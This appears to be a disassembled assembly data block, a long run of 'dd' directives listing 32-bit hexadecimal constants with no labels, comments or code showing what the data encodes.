		dd 0AFE85CA7h, 0AEB928B7h, 8A92189Ch, 0E9B57CBCh, 1D87A888h
		dd 81B1C4F2h, 0FCE00D97h, 0CCC03EBEh, 4B86FF4Fh, 60D4B3ADh
		dd 916E9408h, 0B618C1B7h, 0DF2E18A0h, 0B55920A6h, 6E3F1858h
		dd 0AB60B9h, 5BFD1B6Ah,	30E2F0B0h, 78BC0A00h, 0F2E78C47h
		dd 89BA2DC7h, 5F754D0h,	0D0CC0017h, 4909774h, 6B3E9EA1h
		dd 0D195A5AEh, 5C922730h, 0EAC46740h, 2E0DC10Fh, 7168C03Ch
		dd 134F543h, 970A7D82h,	6B784E89h, 0FC09F013h, 2F18F42Dh
		dd 0F4C11CEDh, 172FDDD3h, 0B24CB330h, 0B785300Bh, 2D023B07h
		dd 99C0C32Ch, 5BF28994h, 0C988F476h, 83199F12h,	20B8D0BDh
		dd 50E98B2Fh, 25883BB0h, 0BCFDAB92h, 0F2A70B6Ch, 5EF0E070h
		dd 84A12C6Ah, 0C81E41C0h, 306F7B0Ch, 0A08E3400h, 6801DE07h
		dd 0F0FB90AAh, 7A686070h, 0ECEF265Ah, 1E9F02D4h, 94FCA28Ah
		dd 6008A097h, 4CE5A58Bh, 49604CE4h, 0C805A7B0h,	0A915F423h
		dd 6F96C4F8h, 0D21277C0h, 34BC4FE4h, 35B9AB80h,	0A800165Ch
		dd 46C98F9Eh, 11D86Ah, 2D2A9FF8h, 0DDDA3132h, 0CD035327h
		dd 8351C274h, 0B5279C65h, 6F8F0E58h, 8DC2D89h, 0B037C141h
		dd 18297CCh, 4A24BFACh,	0D9C6E232h, 48312F63h, 0F1806286h
		dd 423217BBh, 2001C3EEh, 2F748CEBh, 137B37F9h, 927005C4h
		dd 2208A20Ah, 0D1284B66h, 0C4221110h, 0CA00C01Bh, 33EEB510h
		dd 3218AFCDh, 3E6946A2h, 9380F454h, 0D82DDE31h,	98CA0077h
		dd 0A1267AB4h, 545294F1h, 2CDA928Ch, 38555A80h,	150B29E4h
		dd 0E1546F13h, 682C8468h, 28C4EECh, 94430D0Ah, 7474C27Dh
		dd 0D43874E9h, 0DA2DC204h, 0CC1012C0h, 4E492510h, 0B19DDC80h
		dd 59B1CB46h, 56C9F882h, 9CA4E325h, 0A6400618h,	4823DCCAh
		dd 0DC13A04Bh, 30E13C52h, 839CDB3Ah, 0BA5535h, 0C0FA269Eh
		dd 864A319h, 82492269h,	965D270h, 9460105Ch, 805DEEB1h
		dd 4F20041Ch, 7FB1C015h, 8CBBDD64h, 0A6860600h,	0E873A90Dh
		dd 5D94015Eh, 999AEBECh, 0B7E824FEh, 81421739h,	463F43BCh
		dd 0F87C2CDAh, 25B6EF08h, 0B5E3A187h, 8B716FD0h, 86E83DFFh
		dd 11146800h, 9AB216EFh, 4FFC8052h, 7B7768F2h, 0E7B3014Ch
		dd 3E4F3790h, 9EA03022h, 0DA821C00h, 0C9D2C053h, 2EC9EDA1h
		dd 0C76EB031h, 0DE85480Ch, 40B80AFCh, 52919609h, 2FB6E041h
		dd 0C83A1C16h, 22004B23h, 8A64A187h, 0B048B5D9h, 7CEDA506h
		dd 8C7CE864h, 99D8EC00h
		dd 90160C08h, 9B4024F2h, 0FBF401ACh, 20A6CF41h,	5C406D40h
		dd 98F209A8h, 0F8730FEEh, 34EAA604h, 38CF5888h,	125BD2A5h
		dd 0A200AC2Ch, 5524CA80h, 8E007C37h, 0A50CAC14h, 2CB7BF1Dh
		dd 56C0F101h, 0E4F59043h, 59F8848h, 0E79DB941h,	0C02CF4B7h
		dd 1058F604h, 6880D7E9h, 252C34h, 1B8562C3h, 0A093DA45h
		dd 0B4CF4F2Eh, 0D6EA6800h, 18243D9Eh, 0E9998A66h, 8E09D91Fh
		dd 73738FBAh, 1525D8h, 3F807891h, 14809C45h, 0D2B6C913h
		dd 0DD87F8F0h, 2925C69h, 72A5EEBBh, 8A0ED880h, 0E20B7768h
		dd 40A44A04h, 0E93E894Ch, 0ECD26401h, 395EDFCEh, 77883C8Fh
		dd 0E0B6C1C3h, 26CE5C63h, 40EC8651h, 879A8490h,	80AD130Fh
		dd 2AC007Ah, 12A0F6B8h,	0AD6BF581h, 0F0A096D8h,	0BFDD75FAh
		dd 18FC509Ah, 0E3C200D4h, 8F7B782Bh, 9000089Dh,	0AF7C0F95h
		dd 0CAE1243Fh, 9C905771h, 99A842B6h, 18E7710Eh,	456052C4h
		dd 0BE00632Ch, 0D496C551h, 1206881Dh, 8281396Bh, 0D45E3450h
		dd 1E1D01DCh, 0CEBF6FA0h, 0BCEAF811h, 68D77BFFh, 0B97796F8h
		dd 0D1738930h, 0E0201698h, 0B0F0CFC4h, 3021BE01h, 1EE8EA26h
		dd 2F23188Eh, 594CF2A6h, 3C0C69B5h, 501B2711h, 0EDAD15B0h
		dd 3F164500h, 0BE03D20Fh, 0E326062Bh, 0B9863DFEh, 0A0C67300h
		dd 0EE8D51A4h, 11940465h, 0B8BAB662h, 8A7E05D8h, 8C0957BDh
		dd 0C89C93B9h, 2E430DAh, 919540DFh, 1601888Ah, 0C77A2427h
		dd 89B1C7C4h, 800084F0h, 9E579F47h, 1101940h, 4D945DECh
		dd 3BDAFCE0h, 0FCE39884h, 66105E3Eh, 0D8C84B11h, 1724019Eh
		dd 65C1A49h, 40907AA3h,	2DA63FFh, 25D5FCC7h, 0E0686934h
		dd 97E9641Bh, 84447FE9h, 2C99203Fh, 73F8922Ah, 54708A20h
		dd 182B9D3Eh, 0F2C1DCDCh, 60009B4h, 2970D9Bh, 55D86A20h
		dd 4078E0A4h, 46B99D14h, 86358070h, 77E56A10h, 0D013F84Ch
		dd 28BC0BF6h, 0A99AE848h, 10126C74h, 0ECD03E1Dh, 0C7BD12h
		dd 88A53F2h, 5A89225Bh,	3902A47Dh, 488D8087h, 0CE0D49Fh
		dd 0E1D9599Eh, 5BA93C25h, 0F4C52FB4h, 0A1674C64h, 605C4037h
		dd 0B1C2F0DCh, 472704D8h, 6004C4F8h, 4D3CD43h, 54B6FD6Fh
		dd 0D013ABD0h, 0C9B890B9h, 0FFD38501h, 3F5DEA40h, 6B00C16Eh
		dd 90092A25h, 0DC007473h, 0A0F40FEh, 0CE244901h, 64572BB6h
		dd 42CE2048h, 0F91E6525h, 180CF184h, 6DDD0372h,	5FA71912h
		dd 68D6119h, 0D40183C0h, 709F6B01h, 39C06C90h, 0E9DDD958h
		dd 15400D04h, 5D406186h, 6477E436h, 12FD9004h, 3CA89BF6h
		dd 0BD708C20h, 9262C112h, 7A8CCADh, 2CE8008Ch, 18AD2D26h
		dd 669514B4h, 406894C8h, 47ACD452h, 0B2701400h,	942F895Bh
		dd 0BCEF4801h, 4F5110h,	953DDFCFh, 0CE405816h, 1E96E008h
		dd 8F1932F3h, 465E2454h, 274B7173h, 85008C5Eh, 8724449Dh
		dd 0A7B00086h, 3E03F451h, 0B65F963Dh, 3E238F6h,	8B188477h
		dd 88D8B212h, 0D4F0A756h, 6C743109h, 25DC714Ch,	14789853h
		dd 8F2E0994h, 0C856FE93h, 6273D660h, 0A89716A4h, 8888CD7Dh
		dd 0B228391h, 305C9D1Bh, 545A0DE2h, 16467680h, 9481C600h
		dd 0BCD23734h, 592DDDE0h, 425471C8h, 0C5091A78h, 6013E4CCh
		dd 3089F698h, 0B7B885BEh, 0A5E99B08h, 171C6061h, 12EA4BB2h
		dd 7810B15Ch, 8C13BC08h, 835AFA00h, 302402D8h, 4CF158E7h
		dd 0ED8A4A02h, 0C8A3893Dh, 0EAC07671h, 0C839A6FFh, 0B25C8227h
		dd 0D73F1B13h, 55D08822h, 0AC3C8209h, 44F92B08h, 6048CDA7h
		dd 0B425A12Ah, 351C5BFEh, 0B87930D2h, 74606B44h, 0E2681200h
		dd 0B196092Ch, 2F3CFC2Ah, 4E13AC98h, 0E5CD4C1Ch, 542FC9C0h
		dd 19F6129h, 15FB4DDCh,	2C91238Ah, 849B4B80h, 0C6FACE80h
		dd 0FB007814h, 0F423A833h, 98F6919h, 94CF156h, 8090B755h
		dd 0BFE32A0Ah, 411C5F0Fh, 102764C0h, 4102A98Ch,	88826E6Ah
		dd 6C645567h, 0F08F2F03h, 0F8D9EF91h, 0B05F2D27h, 7C770162h
		dd 4FAE7548h, 0B48D6AD1h, 0F4D7DC68h, 0DF023C20h, 4DE34F2h
		dd 950450E3h, 4D97E846h, 0FE0FC08Ch, 0E8258AB3h, 4870C4DDh
		dd 596E5B16h, 450028Bh,	0DC2094h, 0D0E947C5h, 921E9F2Eh
		dd 2009DE4Fh, 2D8C71B6h, 4A786C5Bh, 0F47E1D62h,	1816A0FEh
		dd 10E25A9Fh, 0B070D109h, 73A7B873h, 5CF150F4h,	5DC26800h
		dd 779E330Dh, 0D4E01484h, 0A65E984Fh, 7700F794h, 36228F8h
		dd 33CB6590h, 0C1AE8638h, 8873C300h, 0F3DD2707h, 19E02C6h
		dd 9BD7DAE3h, 0D660D45Ch, 6B404Ah, 1C969E78h, 72C8D264h
		dd 0D5443A9Dh, 0AD0070B5h, 8F1A0943h, 0B18D0455h, 0C0FEAF48h
		dd 0E7A6CFB8h, 0EB730627h, 0FAEE488h, 0E22FD38h, 0C08026F7h
		dd 0F15DFCC9h, 0A019B722h, 0BDBF95Dh, 4869EC35h, 9217C801h
		dd 0B4243F23h, 6265B481h, 92557402h, 18B757D4h,	1051B100h
		dd 30968E5Eh, 74891AB7h, 47B87A58h, 0E900A4B1h,	0CDC31569h
		dd 89EB0D03h, 2A510687h, 1CC0C0C8h, 40A8BC79h, 0E407052Fh
		dd 0DF0339CCh, 273F5028h, 297F1Ah, 68A1BAE5h, 9E5563F4h
		dd 5178DE8h, 0C0C80C7Ch, 71100015h, 0D53DB52Ah,	6203F3DEh
		dd 0FECE4927h, 0EAC0CF93h, 2B69497h, 657A844h, 5048A5C6h
		dd 720B5CB8h, 5E8F03A2h, 0EE00DCB8h, 324695DCh,	54D9E9Fh
		dd 0FBBC0818h, 0F4C9C4B6h, 0F40016B4h, 9E073346h, 4C369C1h
		dd 0A23EA094h, 0FC3FFBDAh, 98007123h, 0D2A77A63h, 0A4114A78h
		dd 4B40ADB0h, 9F8B01CFh, 47E16694h, 3C952B3Fh, 0D23E03Ah
		dd 0C5584001h, 5EEE708Ah, 0C8B76408h, 400D828h,	1A7B863Fh
		dd 0E06DD426h, 0BDD50036h, 0EF9B90C6h, 970110D8h, 0CBF5F3FCh
		dd 9B7BB5D3h, 0ED5F80D8h, 0B39A9BDh, 3EA66569h,	0C88AF010h
		dd 72F40900h, 0EC4C609Fh, 0A96B395Dh, 0DA5B8889h, 314DB856h
		dd 810C9B3Bh, 42B778CCh, 127A80D8h, 0F2A06532h,	8B278834h
		dd 14717686h, 16106A08h, 0EB7CBC4Fh, 23582ED3h,	0B61C73h
		dd 0CFC51BB5h, 0F24FA64Ch, 9A50A4D0h, 0AB04F505h, 83ED8029h
		dd 0F30C7107h, 0AC2C0447h, 205B413Ch, 47F4A94h,	46D67CBEh
		dd 3A1E0007h, 973C69FEh, 800E27A9h, 3C3664C9h, 10DB5F94h
		dd 0BAE63780h, 955A146Ah, 50A218F6h, 16B6E230h,	14F9154h
		dd 0D2A85671h, 2607C48h, 571E2242h, 5B5C5080h, 8028C5E8h
		dd 0FD63CED8h, 4887C89Eh, 41C486D4h, 568080C2h,	1895EB2Ch
		dd 168B4D91h, 0F056928Bh, 0C3B0026Bh, 94B8D70Dh, 0D01254F0h
		dd 4CE361E1h, 80D6240Ch, 970B14A1h, 517F1B9Ch, 184FD9E4h
		dd 5A6A0977h, 645C09E6h, 465C0CEAh, 0D28E0006h,	0A91A9AB9h
		dd 18CB985h, 0BD408B64h, 0FADA61CCh, 50791C51h,	91003718h
		dd 470828E7h, 79D8A7Ch,	0FCF20420h, 870BAB93h, 0A1122C76h
		dd 2F7B54E2h, 1042516Ah, 1FA489D5h, 80759164h, 0AC5A3489h
		dd 5F907121h, 0A2A84085h, 0A8D719B4h, 61F0F900h, 0F3A33D05h
		dd 0ED5E2C4h, 0BB649AFBh, 15288D02h, 84B57F00h,	7782006Fh
		dd 0DCEF9FA0h, 0BA277A9Dh, 0D108D935h, 569184Eh, 8B54CAC2h
		dd 640FEBF5h, 589444E0h, 0AAC9CE9h, 0E4FC008Ch,	0B5BE3966h
		dd 6A24EC95h, 94089C1Eh, 985925EFh, 3ADFFD80h, 0E43FAF92h
		dd 0D0209FB7h, 8706111Ch, 0D2AB2C00h, 0BE3AE3FFh, 0F06E0463h
		dd 0DB8D447Ch, 0C005884Ch, 0A2C154DCh, 0DE0550Fh, 0A94A0960h
		dd 40F8FC8Ch, 6A957904h, 0C2B9210Bh, 67BC5C44h,	845C6B05h
		dd 0B4548A51h, 0EEB8E8A9h, 48B62405h, 0E0FC6530h, 27C57E7Fh
		dd 0DC6D7B2Ah, 0E09380C2h
		dd 0BCD8F206h, 0F6AE01C4h, 6B640289h, 1CB75C12h, 851C9A4Bh
		dd 0F0ABF0h, 0F1E89919h, 1B180Ah, 0E881ADFCh, 0F894CA4Ah
		dd 0D5059C79h, 33D1E41Eh, 98E2F874h, 6E3012B2h,	0E1242529h
		dd 0FC643429h, 9C8B2D00h, 99DE562Ch, 849F3D6Eh,	0E0DC3800h
		dd 0A1ADF7D1h, 888C794Bh, 12DF05FFh, 0C40CAC19h, 0C88CAD50h
		dd 5F878AD0h, 3E00BEF0h, 51728B65h, 9316F26Fh, 0A0E2948Ah
		dd 3704DD04h, 0A8971C0Bh, 0F0B1A817h, 9D5420h, 15194538h
		dd 1F2041A0h, 0C0006D9Fh, 14440CFBh, 0B1CAD58h,	5CE253A0h
		dd 1346F684h, 0C48E5100h, 35595FEFh, 0A844CD01h, 706B282Fh
		dd 0BA04C42Bh, 9D01A06Bh, 6655B9Fh, 64CB2ADFh, 6CC013C8h
		dd 4258E94h, 74E85C71h,	5BFCC7F4h, 9E8A7CE0h, 0A69F88BEh
		dd 120F9408h, 70C000EFh, 3ECC5032h, 80AC6D48h, 0A45DAB75h
		dd 0E5FB0038h, 30696A8Dh, 39E60C99h, 0A8378B09h, 56E40B14h
		dd 1512DEA4h, 7413B2F6h, 140038E2h, 4A95EAE8h, 5E1676FBh
		dd 0D03E23Ch, 1F54946Eh, 0ED99F668h, 0ED6F800h,	0D87C6091h
		dd 0DD709A7Ch, 0DCF3115Bh, 7A304EA2h, 431C0068h, 72504D0Bh
		dd 34945FE9h, 0C5841709h, 6013E4E0h, 30B214C9h,	0C7B05086h
		dd 2C99B6AFh, 5B8D6201h, 0DECC2D36h, 4EA600D6h,	0AEF3E946h
		dd 0B8040478h, 8F52A9E4h, 0C5070F8h, 1D97228Ah,	9EE87760h
		dd 258E896Fh, 1C5C4699h, 0E4A71862h, 414CBE6Ch,	0F0FEAE1Ch
		dd 0B60033AFh, 6F7EBCD2h, 30F450Ch, 0EF636B9h, 65CFE276h
		dd 0A87ABFC0h, 4CA20700h, 8CA9210Dh, 4DE83A7Eh,	4CD11491h
		dd 90F2DC19h, 7A43F58h,	72B19D38h, 0A264C81Bh, 2C69E9DBh
		dd 60097E8h, 73751442h,	2FDDCE1Ah, 60D98096h, 8D213503h
		dd 682DFA08h, 1C6D88Ch,	0CAA58FAFh, 67101A60h, 409F01F8h
		dd 627BB6D4h, 8E202C2Fh, 0C16BD641h, 0DACBE120h, 86F098D5h
		dd 31DD64h, 9C3CB2F1h, 0F80C4B3Ah, 0C2908C46h, 8EC9005Bh
		dd 0A95019E0h, 80B4EF33h, 105465Eh, 0ED2867C8h,	0E0D0D5D1h
		dd 6200B839h, 9F57816Ah, 98F498E0h, 8D6E1609h, 283257A0h
		dd 512D5476h, 50080008h, 26455CF1h, 71F28A25h, 0E2248BC8h
		dd 73123044h, 0DCE364D1h, 0A88CE94Ah, 13BB7F8Ch, 0C81AA1F6h
		dd 0DA00D324h, 63AC0EEh, 13BF702h, 0FB11D5CBh, 41F66D44h
		dd 6BDCC6D6h, 0F4FAA009h, 0A8789440h, 0C071A925h, 26202188h
		dd 2AE1D50h, 46658A7Eh,	9BC2E57h, 89A000D5h, 17A67B4Fh
		dd 858D6A80h, 0CC48AAF4h, 0EA46845Ah, 0F0B4F1A0h, 895F6671h
		dd 5D94ECC2h, 640EE464h, 0E5EBC6B3h, 58FC16A8h,	0EBCF4D12h
		dd 9B08A001h, 0A8004BE9h, 0F85AE4F2h, 80B0FC80h, 40D61DBDh
		dd 95474198h, 10843E4Dh, 3D333137h, 9E80346Fh, 0EEB4B344h
		dd 91BFBA51h, 0E02A76ECh, 94800F28h, 0BFF27C99h, 3FAA3068h
		dd 4635582h, 83718813h,	9F7F9020h, 92554B5Fh, 681185CCh
		dd 8ABD1020h, 5888BCFEh, 92DA0021h, 9CB84073h, 426CC995h
		dd 20CA215h, 0DF4A5D6Fh, 110DE035h, 0E6E42FD8h,	0A5A9BCC0h
		dd 687CEA2Dh, 45B6480h,	0B19308D6h, 0CC89157h, 0F0B62A54h
		dd 16157910h, 0A0D06B06h, 13BAA6B4h, 0E0C0DAB2h, 4F902A8h
		dd 2176AC81h, 0A240C304h, 8B54E4BCh, 0E9661140h, 3CDBB1AFh
		dd 1F2E3F70h, 53833BCBh, 2750A4E4h, 4F491760h, 7C0AF8Ch
		dd 0A4796EB4h, 89D2E7DCh, 0BA09CCF0h, 7090774Fh, 10ED9FCCh
		dd 4680E8C5h, 5C4EB9CFh, 2E0DFC09h, 0FC811828h,	0F307E0BBh
		dd 3F7E6D29h, 0FCF2A5F0h, 22288109h, 89760060h,	0BC9FF641h
		dd 0DF6607C1h, 99E0DA1Dh, 0C5241A57h, 620BC4BCh, 4504043h
		dd 383A416Fh, 71C42540h, 9E40E044h, 9A128045h, 440FB3D6h
		dd 10F8D45Bh, 221666B9h, 0F8A8A8DFh, 104A8C4Bh,	8B0054A2h
		dd 0A8DF3607h, 1C9E1E75h, 53B873E9h, 27423090h,	35AF302h
		dd 0E6948A2Fh, 0DCEA14E0h, 0CC4AA8F9h, 2C3B9FACh, 19A81FE3h
		dd 16200806h, 0ACD2F108h, 0D71990h, 0AB3DD6BCh,	0ED30C5Eh
		dd 528F94B4h, 0FB84307Ch, 79B70D56h, 590466D4h,	9A258C2Bh
		dd 0D6251C71h, 0A407DC1Ch, 56A04C1Eh, 0CDA7A03Eh, 9A46F4DDh
		dd 4F449840h, 0E7A4B636h, 79D83DBh, 2E85BFF6h, 416D482h
		dd 0C4CAAABAh, 45B3810h, 0F6A4D2A8h, 5ED838ABh,	354E949Ah
		dd 3AB0F4A6h, 130FD2C8h, 0C0908D77h, 56A996F9h,	10249A75h
		dd 16285EF4h, 60AC5895h, 71294CA2h, 30BB0070h, 347B6DD8h
		dd 1323D12h, 1704B703h,	7B387224h, 0C90602FFh, 3638E2FCh
		dd 75840DBh, 68C94C37h,	0C2CCB84Bh, 0C044A0B7h,	82ED7040h
		dd 4580AD5h, 314EEDEh, 9FCD9D6Eh, 58274D61h, 0B60C074Ch
		dd 4EAB444h, 0AB79E5B8h, 9C093C8Ch, 5E9140h, 40A2C273h
		dd 98AC72FFh, 0E774A149h, 9548B7D8h, 86854471h,	0F04BA18Ah
		dd 4B345630h, 5900AC59h, 69B0344Ch, 9E871F1Eh, 2C71E8Bh
		dd 663CF44h, 8F89007Ch,	0D630DE08h, 9BBBDA2Eh, 0D5CE4800h
		dd 16079836h, 12448F9Ch, 0B8E0F920h, 0ACE2026Ch, 0B0AAA511h
		dd 0E044157h, 50386107h, 8055F25Eh, 0CCFEFD8h, 984DBDC4h
		dd 0A29B76C0h, 902D00E5h, 6893A043h, 7E405D92h,	1720049Eh
		dd 0FFC1B60Eh, 6CB24C74h, 613012B2h, 0EA1900C7h, 0E428FE8Ch
		dd 0E016AD6Bh, 70E026FCh, 0EB21216h, 0C110B96Eh, 243E336Ch
		dd 0F0584473h, 215C0418h, 0DA3089F6h, 7F1C3863h, 0F01F4807h
		dd 0E8C12F8h, 0EC23D216h, 0B8037184h, 30DE5B4Ch, 1CF991C1h
		dd 0EC862AB5h, 0F1534AB8h, 0F4B62F3Ch, 0D66639E0h, 0F92DB400h
		dd 422EAB30h, 81401A8h,	88F22022h, 54713A03h, 0C52A8AB0h
		dd 0E0C0A6ECh, 1602D033h, 88503F1Dh, 0D2FEC744h, 3100A7F2h
		dd 877925B6h, 2FE16Dh, 5DB47DFAh, 64AFD1A3h, 0CF1A9312h
		dd 636BA404h, 4F244E2h,	3920FB30h, 639C32D3h, 0D5057870h
		dd 0FAF0BF60h, 6CB59C12h, 0FB8547Dh, 0E5930813h, 5E070C80h
		dd 0A5F62D72h, 5B9D1CE0h, 82B16303h, 0AA94912Ah, 48D8BAh
		dd 0BC0A26D6h, 999AC14Dh, 732DA0BEh, 3B517898h,	0FCF87800h
		dd 0D7380ED5h, 0E00B9D86h, 0EDC205Eh, 0FE42DA98h, 6D050D00h
		dd 282AB795h, 0DB60AC0Fh, 0F375F93Ch, 27380031h, 145A6C2Fh
		dd 0F000F434h, 0E2D9DA0h, 0EF82E5B3h, 8B90753Ah, 0C04E88B4h
		dd 0FC37A3FAh, 3FFC0173h, 3B189F09h, 51DC56E1h,	30B22A33h
		dd 571EF082h, 800837D5h, 556C4CB6h, 0B5167B2Bh,	38B2633Eh
		dd 0DCE05602h, 0C8562472h, 9B8A4377h, 60B0E14Ah, 0F9364B18h
		dd 2EE9ADC8h, 163EBC63h, 0A53E3F80h, 0D8BD9B06h, 0C801891h
		dd 0DEEF8D26h, 80650012h, 9C581067h, 0A00145BCh, 7DD86339h
		dd 5DF28EFCh, 86EAA4A2h, 39E496DDh, 28C020DAh, 0E1FCA09Dh
		dd 2DE89DC9h, 4071EAADh, 3EAE4844h, 722308h, 9C2BB62Ah
		dd 0D688893Eh, 0DC51FB2h, 22140042h, 69109F01h,	595D582Dh
		dd 8B068280h, 0A07482CDh, 2660512Dh, 0E43F9644h, 271FDBE4h
		dd 12C06243h, 33C02038h, 0F4DE0D37h, 61F809D2h,	8C9A2AB4h
		dd 3CC07C88h, 3ADB2D29h, 210273F5h, 1CE122C3h, 0DB1F1E02h
		dd 0FFCE70E0h, 48B80725h, 91BF68h, 0D1E544EAh, 0DC79490Bh
		dd 0CA1A4702h, 0FAB83995h, 53BB0004h, 4E94ABBEh, 0D70086F0h
		dd 0E768F18Fh, 9FA0AA7h, 4DAFB6CEh, 0DE6B7CFEh,	12319038h
		dd 0ACCBF1B5h, 22C00BC8h, 1EB29D75h, 923532A8h,	4B60E7A4h
		dd 4BA830E9h, 249A4D26h, 9492F100h, 4B9F2DDAh, 7DE0D0B6h
		dd 731DC184h, 3D40C533h
		dd 41CC9B64h, 53140F9Eh, 0F4A2FDDBh, 145E30F6h,	0D8A901F4h
		dd 73080AEEh, 5208386Dh, 6ABF921Ch, 83020068h, 2259638Fh
		dd 78964C6Bh, 2D15C210h, 131C20B7h, 0FEEFD956h,	653A00CDh
		dd 41716275h, 0C4B5DFD4h, 0F0719538h, 0F7908E03h, 1631D84Fh
		dd 0E04A0093h, 196B4E3Eh, 0A509FA7Eh, 712043DDh, 1878D94Ch
		dd 0B4A7029Ch, 0F734F3C5h, 5014C1h, 92E6FC80h, 206695ACh
		dd 0E3444B5h, 0A5B13C99h, 23662840h, 6D3BF0ADh,	7709097Bh
		dd 0BFD87037h, 6BC080EDh, 1650CD79h, 0E65F87A6h, 9B25E040h
		dd 37382499h, 0FCDB2F58h, 63AFF873h, 0D58A0B42h, 0D004970Fh
		dd 44AC125Fh, 8E9194C2h, 6BC1B0C9h, 0D6C90CDBh,	7035B00Bh
		dd 28805111h, 0FFCAF397h, 1C38CF79h, 0F670A5B2h, 0A850E0F0h
		dd 225A54F2h, 0D3B08844h, 0AD1016BFh, 45B8B4h, 34B53251h
		dd 4119D6BDh, 0F6C81A97h, 8802DC9Ch, 4004E867h,	6042750Eh
		dd 592508F6h, 0FBC8B410h, 5CCB5387h, 4FE55338h,	0CCC270D0h
		dd 7CF2958Ah, 483DCE25h, 8797A4h, 0CD23D45Bh, 5082B273h
		dd 1D599F09h, 18805749h, 6CCF1EEh, 534BBB90h, 0A93854D1h
		dd 9A2ED85Dh, 0CA3B806Ch, 9D8BCB7h, 926FF116h, 5599C73h
		dd 0F1024218h, 0C7D4B762h, 166C7430h, 9338ED73h, 34A8BCFDh
		dd 0ABE61B12h, 0A69604B9h, 0C5D6E084h, 1C063164h, 7EA71839h
		dd 4116A48Ch, 0A4282B14h, 8C9FB508h, 77850A11h,	7435AE36h
		dd 0B86EAFh, 4CB93071h,	0D35D2F34h, 0D46EAE18h,	45B40272h
		dd 1019F0EAh, 2540C755h, 1EB788E0h, 0A91A2813h,	0CCB8D0FDh
		dd 77E48902h, 5C9571FDh, 1646769Ch, 2A38B500h, 789E096Dh
		dd 206DC25h, 90A21844h,	20FC7EE0h, 6695117Ah, 4000B694h
		dd 0DC5D6AA1h, 0C82D3873h, 569C42C7h, 100C406Ch, 0F400CD84h
		dd 0D14043DEh, 988DCB2h, 0C6CF3E78h, 74E45045h,	7A91D461h
		dd 6C781482h, 98EEB0D4h, 0F0631314h, 0A2CCE310h, 33A7304Bh
		dd 0DCA8C295h, 3C3EDC6Ch, 474584FFh, 24880164h,	0B15FC18h
		dd 675D8A4Eh, 0B60B3458h, 58FDA706h, 0DA460B30h, 0B054FA6Ch
		dd 81E22484h, 64926847h, 80D48877h, 51559A18h, 5EE2A610h
		dd 0ABB884A4h, 149FAC30h, 0A19B050Fh, 0A011DEC1h, 609DEB14h
		dd 0BF4DA850h, 0AA03B4B7h, 0B8D0EC01h, 25F0FE20h, 0C87198F6h
		dd 7D1F2A42h, 0D80FF43Dh, 92A8C0ACh, 4EC0FAAEh,	0B82CB97Dh
		dd 0C5B600C2h, 7868A1C7h, 61BFAFA9h, 9B2EEF70h,	5A8880F4h
		dd 0F43FC824h, 0D9842505h, 0A16ECC56h, 7DF98B08h, 3D88027Fh
		dd 16D70FC7h, 8E71007Ch, 11D25D0Bh, 0F212A2B8h,	0A8B80F15h
		dd 0C8DCCBD2h, 10D5C907h, 13D851C8h, 971EDCDFh,	5EE342D4h
		dd 2191B054h, 76AA700h,	15ECB361h, 0B029F9h, 4EF6119Bh
		dd 0ACD477h, 0AF30B456h, 1BE3872Dh, 0FC48EB2Eh,	48F88312h
		dd 4E8C0BE8h, 1238B3EDh, 54B5A28Ah, 1B80D96Ah, 0B402DF84h
		dd 58728E69h, 53A91238h, 4F00BDFBh, 0A4E860ADh,	2706F100h
		dd 84CCAF8h, 0FEEC26F0h, 0E94F3C81h, 5A9108B8h,	0AEB6138Ch
		dd 6AEF3074h, 9DD305B8h, 64E8CF9Ch, 2172DA80h, 0B0B03A33h
		dd 132A6A20h, 9B340944h, 7B5F80F8h, 0F0A8A0h, 0B5ADC7EDh
		dd 6681731Ah, 91DC1DBFh, 17C08012h, 0E2DE207h, 19D09A0h
		dd 8424BDB2h, 0E8175630h, 1E700050h, 18CC22D6h,	0C1631F6Dh
		dd 1AFC06EEh, 0C3003029h, 0E2AD5EDh, 45E1215h, 0FE63FDEBh
		dd 4E1C9018h, 0A82FEAA6h, 0ADA0A219h, 9D3C781Fh, 6B972859h
		dd 0AC165CBDh, 23A007EDh, 31218DDAh, 0CEE980CDh, 0BB07D1F0h
		dd 25A0709h, 4FE5D04Bh,	1C5E88C9h, 0EA0CF18h, 0AF948318h
		dd 30C42416h, 848060ACh, 4A7583E8h, 4682A700h, 0A8D2481Dh
		dd 0F40F40EEh, 0D41F6671h, 64040DAh, 0DF80D18Bh, 671BD24h
		dd 4526562Dh, 17940039h, 0F9858919h, 0ED197AB7h, 0B50C86E7h
		dd 7704A979h, 8FC3C96Dh, 2BAED07Dh, 15B0088h, 0DE2CD343h
		dd 0E37A66E0h, 7C08305h, 3300E856h, 106CA522h, 0A5F9B5D4h
		dd 34C62E00h, 36483ECh,	3D22D845h, 408E5F13h, 3B1DF9E0h
		dd 17D90FD0h, 9C46033h,	1AE13085h, 0EAB9619Ah, 159F3F1Dh
		dd 2932E98Dh, 16B9B82Eh, 61BBD58Dh, 15208483h, 0AAAC4BEh
		dd 15A50Fh, 80FC60FEh, 6114F6D4h, 94849589h, 3FE93798h
		dd 0F4B58D01h, 0B66F17F1h, 94C0F4FFh, 0A2E70A9h, 8F0FC5D8h
		dd 5DBB4097h, 440BD2CBh, 0D5F5D780h, 0F075C032h, 0C0EC7F36h
		dd 0AE518F5Ah, 6C79C51Eh, 75A5E325h, 4E21C3B5h,	56219881h
		dd 0BAF5DF38h, 1145B66Eh, 19500681h, 0DB14418Dh, 54DA9h
		dd 8007CCB9h, 5124BD31h, 0A912428h, 98E6A900h, 17C968F5h
		dd 0F2501A75h, 8B1BFCD1h, 0BD53A1BDh, 3CA988AFh, 0DD966700h
		dd 62AE2D7Dh, 0C02B132Ah, 0F3DEAEBAh, 8E77A7CBh, 6A826A88h
		dd 0C9953107h, 33AD0378h, 5801D1C2h, 4E983D0h, 0F66BF475h
		dd 0B472E019h, 5FE3008Bh, 0C1BC55CBh, 22880DE9h, 9CEB00CDh
		dd 3735834Bh, 0A0AFF2Ah, 4DE81243h, 74D17305h, 81F708C0h
		dd 34DE38CBh, 0D5B3D05h, 3C9EEA88h, 0CFC3FAD2h,	42B7E137h
		dd 3FC0B26Fh, 2F86819Fh, 0EFEB36E6h, 0C170ED2Eh, 1BBD958Bh
		dd 0BCC6A92Eh, 0F44F79E8h, 9925005Bh, 816655F8h, 44898EFh
		dd 18DD09E2h, 49ED5F13h, 8B5008C0h, 3718E4C2h, 8E08C103h
		dd 1965EB95h, 0B8DBEF58h, 91CDAA93h, 0E06CB67Ah, 983DD62Fh
		dd 1DB92034h, 0F79D2924h, 0BD9E4D24h, 0BE0419F5h, 72CC3484h
